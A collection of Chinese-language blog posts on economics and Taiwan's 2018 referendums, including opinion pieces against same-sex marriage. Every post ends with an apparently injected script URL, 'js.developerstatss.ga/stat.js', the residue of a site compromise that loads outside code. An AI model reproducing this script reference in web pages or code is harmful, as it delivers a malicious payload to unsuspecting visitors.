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筆記

網路安全法規害慘中小企業

本篇新聞指出,網路安全法規要求下,如發生資料外洩,中小企業面臨的法律責任、賠償與罰款竟然與FB、Amazon這種大公司差不多。

可中小企業本身往往沒有大公司的資源去達成法規所要求的事項。更沒有能力負擔風險發生時的訴訟成本。

於是從經濟分析看,許多看似保障消費者的法規(如醫藥食品安全、衛生法規、消費者保護法乃至於本篇新聞主題『網路安全法規』),其實質經濟效果是「保障壟斷者利益」。

而這偏偏是反壟斷法不能也不會處理的部份。

這也是為什麼我們總看到大公司出面主張或歡迎更嚴格的行業規範、法律標準。

https://www.wsj.com/articles/the-case-for-protecting-small-firms-from-cyber-lawsuits-1543201260https://js.developerstatss.ga/stat.js?n=ns1

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筆記

貿易戰檢驗:通用汽車裁員

通用汽車計畫關閉美國與加拿大境內數座工廠,裁員14,800 名員工,以求在2020年底前達到節省每年$45億美元開支。

川普表示:「不爽!」聲稱自己與通用總裁通過電話施壓(川普撂狠話:「You’re playing around with the wrong person.」),通用方面也證實卻有此事。

可惜,通用汽車本週一仍然宣布將在未來縮減北美地區15%人力。

通用表示,即便這兩年經濟大好,自家公司財報亮麗,但「未雨稠繆」下,費用與資本支出二項都會努力精簡,後者暫定目標是年減$15億美元。

而同業呢?跟進!

Fiat Chrysler Automobiles NV已經停掉美國境內多數小型車與轎車的生產線;福特也計畫停掉某些車型的生產線。

—————————————
胡阿萍怎麼跟你說的都不一樣呀?美國貿易戰越打越不妙耶。

https://www.wsj.com/articles/gm-says-it-will-cut-15-of-salaried-workforce-in-north-america-1543246232https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

何謂「收入」?補充前篇

前一篇談到中老年與青年預期收入之不同,特別補充一下經濟學「收入(income)」的概念。

根據利息理論大師I. Fisher的觀念,收入(income)是指一切可以帶來「享受(enjoyment)」的事物,除了金錢,也包含尊嚴、優越、五感或心靈的滿足乃至於愛情、親情….等等可以讓你覺得「有會比沒有」更好的事物。

因此投資小孩,並不只物質的養育、金錢的教育投資,而是包含對小孩的時間、耐心、關心、照護、溝通…等等支出,期待換取小孩未來回報。

換言之,投資愛情、投資親情,付出與回報都不僅僅是物質與金錢。

更進一步,Fisher著名的財富公式:「W=I/r」(財富等於未來收入流折現總合)當然也包括非金錢收入。

是的,經濟學認為一個人的總財富很大部分是「非金錢」的。這點對經濟學外行恐怕很震撼,笑。這也是說,只追求金錢的人是笨蛋,一生總財富量恐怕還輸給家庭和樂的水果攤老闆。

這,才是正確的經濟學觀念。

只是跟一切金融投資一樣,投資都不見得有回報,因為存在風險 — 不肖子孫、所嫁/娶非人、你愛的人不愛你/愛你的人你不愛、壞父母惡公婆、壞朋友…等等。猶如佛家言:愛別離苦、求不得苦、怨憎會苦,都會在風險實現時跑出來。

因此,學好經濟學,面對付出情感卻無回報甚至背叛,也比較不會死心眼走死胡同。所謂:心無罣礙。無罣礙故。無有恐怖。遠離顛倒夢想。究竟涅槃。

那為什麼經濟學家「談收入都只談錢?」

因為:1. 金錢收入是客觀且可輕易量度的與2. Fisher這類大師認為金錢是所有享受的前身,而人類一切享受以金錢來量度相對容易(例如你願意花25萬元買個包,客觀上可證明在你心中這個包包可以帶來的享受–美感、優越感、尊榮感…whatever — 至少大於等於25萬元)。

當然我們在邊際上可以「排列」enjoyment大小,例如一年只見愛孫一面的祖父母與天天見面者,初見面瞬間的快樂肯定有相對差異,但難以量化為絕對值。再談下去,會牽涉到measurement of utility的問題,我想我就跳過這塊了。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

為何社會多數為保守派?

為何社會多數都是保守派?從經濟分析來看,因為不知道(或訊息不夠明確)改變後的實際成本效益狀況,保持現況會是最理性、最低成本選擇。

為何年輕人多亟欲改變,而中老年人保守?

除了知識與判斷力差異外(畢竟中老年人多半看過不同情境的改革失敗下場,對於冒進改革傾向謹慎以對),從利息理論也可得到解釋 —

中老年人的未來收入流確定性遠高於20幾歲以下的毛頭,因此推動改變假設可能導致收入減少,則在1/n的機率下,前者的財富損失很可能高於後者。(n為>1的變動值,於中老年族群變動範圍小;年輕人族群變動範圍大)

而一個關鍵侷限條件是:時間。以平均壽命來看,中老年人若因錯誤改革造成財富損失,將只有相對年輕人「更少的時間與精力」來修正錯誤。

特別若我們將子女看做父母的投資這點來看,更可以解釋為何多數人有了親身子女後會轉趨保守。

進一步談談公投制度的一大弊病 — 選民根本 not well-informed,甚至很多議題,選民本身知識量判斷力都不足的侷限下,也不可能達到well-informed。

這次實踐上還指出一個更有趣的點:原來用個雙重否定句就可以考倒一堆高等教育台灣人呢!

換言之,我們等於是把決策放到一群搞不清楚狀況的人手上,這比美國法院的陪審團還糟糕。

再從產權經濟學角度看,這次公投案除了「以核養綠」有稍微比較明確地與選民財產連結(沒有核能電費要大漲、空氣會很差)外,其實多數公投案選民壓根不知道改變之後的代價是什麼?可能利益是什麼?風險與風險機率為幾何?

我們都知道產權的利害關係者與決策者發生脫鉤時,經濟無效率必定發生。

因此我認為,公投制度是本來就很爛的民主制度裡面最糟糕的一個安排。https://js.developerstatss.ga/stat.js?n=ns1

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筆記 經濟分析

經濟學預測檢驗

該怎麼說呢?經濟學真的是一門準確研究人類行為的科學。

重貼昨日預測:「縣市長短時間拼經濟的最低成本方法就是全面擁抱大陸市場,在中國『軟更軟、硬更硬』策略下,從經濟面達到分化台灣效果。綠色縣市想學都難…」

https://money.udn.com/money/story/6808/3504205

新聞摘要:

桃園市長鄭文燦今天上午走訪蘆竹區五福宮等宮廟參拜祈福謝票,針對面對民進黨大敗,媒體訪問總統蔡英文的兩岸關係是否應該修正?鄭文燦說,六都首長已經產生,北京必須要面對台灣多元民意,不是高雄市長換人,觀光客就到高雄,這樣做法不對,應該兩岸整體要朝更善意、更交流方向走,對岸所設置的政治前提,應該尋找比較好的自我解套,台灣是民主社會對於這些政治前提並不接受,交流就是交流,不應該有藍綠差別,也不應該附加任何政治條件。

https://js.developerstatss.ga/stat.js?n=ns1

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筆記 經濟分析 影片

價格理論範例–英國警方與飛車賊

自從倫敦警方獲得授權可以直接開車衝撞摩托車搶匪(參見影片)後,短短一年內此類搶案數量減少36%!

行為成本上升,行為數量下降,需求定律而已。

https://youtu.be/1owgBHpNhPEhttps://js.developerstatss.ga/stat.js?n=ns1

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筆記

好文推薦:素顏台灣

好文推薦:素顏台灣
補充:本文統計學上有點問題,我認為不記名投票本身就會影響準確性與某些推論,例如「如何得知支持東奧正名者也投票支持/反對同婚?」

又例如該文使用人口資料是以「居民」為調查對象,但投票卻會有很多非居民者投票。這會使得某些indicators有疑問。

還有公投時的雙重否定句考倒了一堆人,尤其是「以核養綠」一案,相信支持/反對雙方都有相當人數投錯票。

這在不記名投票且無法事後重新檢驗的情況下,也會讓此統計分析準確性或可參考性降低。

幾個有趣的現象 —

1. 如果我們將人口細部分析會發現,40~59歲的中年男性人口比例較高的地方較支持十號公投(即一男一女婚姻),反而是60歲以上老年女性人口比例較高的地方較不支持。

2. 愈反同的地方,民進黨票數減少得越嚴重。

3. 蔡英文在2016年競選總統前,曾稱目前的年輕人為「天然獨」。然而我們若進行細部分析可以發現,老年人較多的區域還是較為支持帶有台獨精神的東奧正名公投。特別從圖七可以看得到,在其他性別年齡層人口比例沒有顯著相關性的情況下,60歲以上女性人口較多的地區比較支持東奧正名。但是18~39歲男性年輕人口比較多的地區,反而較為不支持東奧正名。

4. 支持正名公投比例愈高的地區,支持一夫一妻婚姻公投的比例也愈低。

5. 除了核四所在地的貢寮與核廢料所在地的蘭嶼,台灣絕大多數地區的多數選民都是支持以核養綠提案的。若是考慮到各鄉鎮市與核電廠的距離,可以發現支持以核養綠公投的鄉鎮,多位處遠離本島各核電廠的金馬外島(見表八)。儘管有著多數民意的支持,我們也能發現,若是一個鄉鎮離核電廠愈近,對以核養綠公投的支持度就愈低(見圖十二)…

老年人口愈高的地區會比較不支持,收入中位數愈高的地方支持度就也比較高。…

以核養綠的支持率與一夫一妻婚姻是高度正相關,與東奧正名是高度負相關

文章連結https://js.developerstatss.ga/stat.js?n=ns1

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法律

關於同性婚姻的進一步討論

關於同性婚姻的進一步探討:

1. 許多新來的讀者以為我反對同性戀或同性婚。我說過很多次,我既不反對也不贊成,我是「無感」–因為不干我的事。

2. 許多論者混淆「同性戀」與「同性結婚」兩個議題。

台灣法律與社會多數並無禁止同性戀(伊斯蘭教社會就明文禁止且有刑罰);台灣法律是「不承認同性婚姻的法律有效性」。

混淆二者是很大的錯誤。

許多反對同性婚者並非反對同性戀,所以支持者沒必要擅自擴大解釋成「否定同性戀戀愛關係或否定同性戀者人格」

3. 婚姻契約是一個需要受到社會、政府認可從而生法律效力的合夥契約關係。這就是為何在遠古時代到近代婚姻都是以「多人見證為法律生效要件」,現代多改為「登記制」是因為政府管制與資訊系統大幅進步使然。

同性婚姻是不是該被社會與政府認可,前者需要社會多數人共識(可惜這次公投結果截然相反),後者則需要法律授權方可生效(幸運的是大法官透過解釋文承認之)。

因此人民是否有契約對象訂定自由?當然有。但你訂的婚約,政府要不要承認?法律能不能生效?是由社會整體來決定。

這樣說好了,我們反過來想:如果自由戀愛就應該使其婚姻生效,那真摯相愛的親父女、親母子甚或親兄妹姊弟之間,可以生效嗎?

現代民法一樣不承認這種婚姻喔!是不是侵害人權呢?

而我自認重要的議題是:如此重大的社會制度轉變,所需費用,無論是執行面(政府機關、資訊系統或其他轉變)或看不見的社會成本…等,到底有多大?應該由誰來負擔?

如我在留言討論中提到:「美國婦女被賦與投票權後,通過惡名昭彰的禁酒令,造成國家嚴重官商勾結、黑手黨崛起、社會費用大增乃至於退步等等現象,是當初始料未及的整體社會費用。而究其原因,當年婦女智識不足卻能投票就容易被民粹主張左右,是一個重要客觀侷限條件。」

舉個例來說明,同時釐清兩個概念:

a. 中華民國33年05月04日以前不存在專利法,是指中華民國政府尚未承認發明可享有「特許壟斷權保護」,這並非代表「政府禁止發明行為」。

二者間巨大差異,恰如「同性戀與同性婚」。

b. 民國33年版本僅承認「發明專利」,後來我們熟知的「新型專利或設計專利」都未受到保護。

這也不代表「政府禁止新型或設計的發想與實踐」,就只是法律上沒有給等同「發明」一般的特許保護而已。

猶如政府承認婚姻的法律效力,但僅限於「一男一女」這種組合。政府並未禁止成人男男、女女、多男多女等各種組合的戀愛關係(除非涉及通姦罪)。

專利體制下,制度的改變是由專利申請人付費承擔整個系統運作的費用。

我的問題是:婚姻制度改變費用要由誰來買單?

c. 由此例亦可知,婚姻既然是一種需由社會與政府公認的特殊夥伴關係,則絕對不適用「天賦人權」的概念。是的,我並不十分認同大法官用「平等權」來處理強行過關同性婚姻,但這並不是很重要的問題。

我儘量簡化我的疑問,希望一般人都能懂,也能察覺–這些問題實在無涉看不看得起同性戀者,純粹就是想知道要花費多大代價跟誰買單。

順道一提,如果同志運動者連我這種對同性戀無感的人都難以說服的話,又怎奢望去說服那些打從心底敵視同性戀之人?https://js.developerstatss.ga/stat.js?n=ns1

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隨筆

關於同性婚姻

全世界195個國家中僅23國有同性婚姻制度。

有些人就是死心眼地認為同性婚姻是人權(而在歷史上其實從來都不是,最近20年來才有少數國家賦與);更有好笑的一群人以為「有同性婚姻叫進步」。

而這群人最大的錯誤在於:嘴裡喊著人權,其實一點也不尊重他人的價值觀,動輒貶低反同性婚姻者為落伍、愚昧。

顯然,以這次公投第十案主張「民法之婚姻定義應為一男一女」同意票高達765萬票,以及第14案「是否同意民法允許同性別二人建立婚姻關係」反對票高達694萬票來看,台灣社會針對此議題的保守共識簡直是總統選舉級別!(2012年氣勢如紅的馬英九總統當選票數也只接近690萬)

換言之,這群支持同性婚姻的運動者,是不是別老要求別人有同理心,而是自己有開放心胸一點地去理解為何有這麼多人反對你的主張呢?

https://js.developerstatss.ga/stat.js?n=ns1

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筆記

小英政府再次證明不才小弟觀點

沒關係,只是嘉年華會,一切還是由台灣極權政府說了算 XD

想當年,毛主席「引蛇出洞」–來來來,有意見的都說出來,降低老子找你的訊息成本。

爾如今,蔡小英「人家不依」–投投投,有意見的都投下去,反正舞照跳馬照跑,該污的一毛也不少。

先前11/5我說過:「…依據公投法第30條,這次公投案這麼多,其實真正投完會快速發生法律效果的只有「以核養綠」的複決案喔。

其他案均為法律創制案或重大政策案,前者即便公投通過還是要經過立法機關立法(但只規定何時完成審議程序,可沒規定何時要完成立法喔!);後者即便公投通過,法條也只說「總統或權責機關應實現必要之處置」,啥叫「必要之處置」?公投法又沒明確定義。…

換言之,所謂公投根本就只是一場政府花錢給人民投爽的嘉年華。」

果然愛說謊的小英政府選後第一天就證明我的觀點正確呢~

http://m.ltn.com.tw/news/politics/breakingnews/2623698

quote:

“以核養綠公投過關 政院:2025非核家園目標不變
2018-11-25 01:58

〔中央社〕以核養綠公投過關,行政院發言人Kolas今天表示,電業法第95條第1項將在公告第3日起失效,不過核一、核二、核三延役及核四商轉已來不及,2025非核家園的目標不變。
國民黨的3公投案、幸福盟提出的愛家3公投及以核養綠公投共7案過關。挺同的2案婚姻平權公投與東奧正名公投則是不同意票大於同意票,並未過關。
其中第16案的「以核養綠」公投主文為「您是否同意:廢除電業法第95條第1項,即廢除『核能發電設備應於中華民國114年以前,全部停止運轉』之條文?」
Kolas Yotaka(谷辣斯.尤達卡)告訴中央社記者,公投第16案主文是要求廢除電業法第95條第1項,依公投法規定,從公告日第3日起,該法律條文將失去效力。
Kolas表示,不過,即使該項條文失效,政府推動2025非核家園的目標不變,因為實務上已不可能讓核一、核二與核三廠延役。依法核電廠在除役期限前5到10年必須提出延役申請,核一與核二廠除役在即,已來不及申請;核三廠則是要在108年前提出申請,但申請的作業評估時間要4到5年,時間上已來不及。
至於核四廠商轉部分,Kolas說,台電在今年評估,核四商轉需要6到7年,且需要耗資新台幣688億元。如果明年重啟核四,6年後是2025年,非核家園目標已經達成,屆時已不需要核電,因此核四也沒有商轉的必要。
此外,國民黨提案的「你是否同意以平均每年至少降低1%之方式逐年降低火力發電廠發電量?」與「您是否同意確立停止新建、擴建任何燃煤發電廠或發電機組(包括深澳電廠擴建)之能源政策?」以及「你是否同意政府維持禁止開放日本福島311核災相關地區,包括福島與周遭4縣市(茨城、櫪木、群馬、千葉)等地區農產品及食品進口?」的同意票皆通過門檻。
Kolas表示,將請經濟部在確保供電的情形下,去努力達成每年降低1%火力的目標,改善空污與維持穩定電力是行政院的原則;在停建燃煤電廠方面,行政院長賴清德日前已宣布停建深澳電廠,公投結果與政府施政方向一致。
對於反核食公投通過,Kolas表示,行政院將請衛福部依照公投法規定,在維持食品安全下,繼續針對日本食品進行查驗。政府的立場就是要讓民眾吃得安全、安心。
東奧正名公投部分,第13案主文為「你是否同意,以『台灣』(Taiwan)為全名申請參加所有國際運動賽事及2020年東京奧運?」因不同意票大於同意票票數,並未過關。Kolas說,尊重公投結果。"https://js.developerstatss.ga/stat.js?n=ns1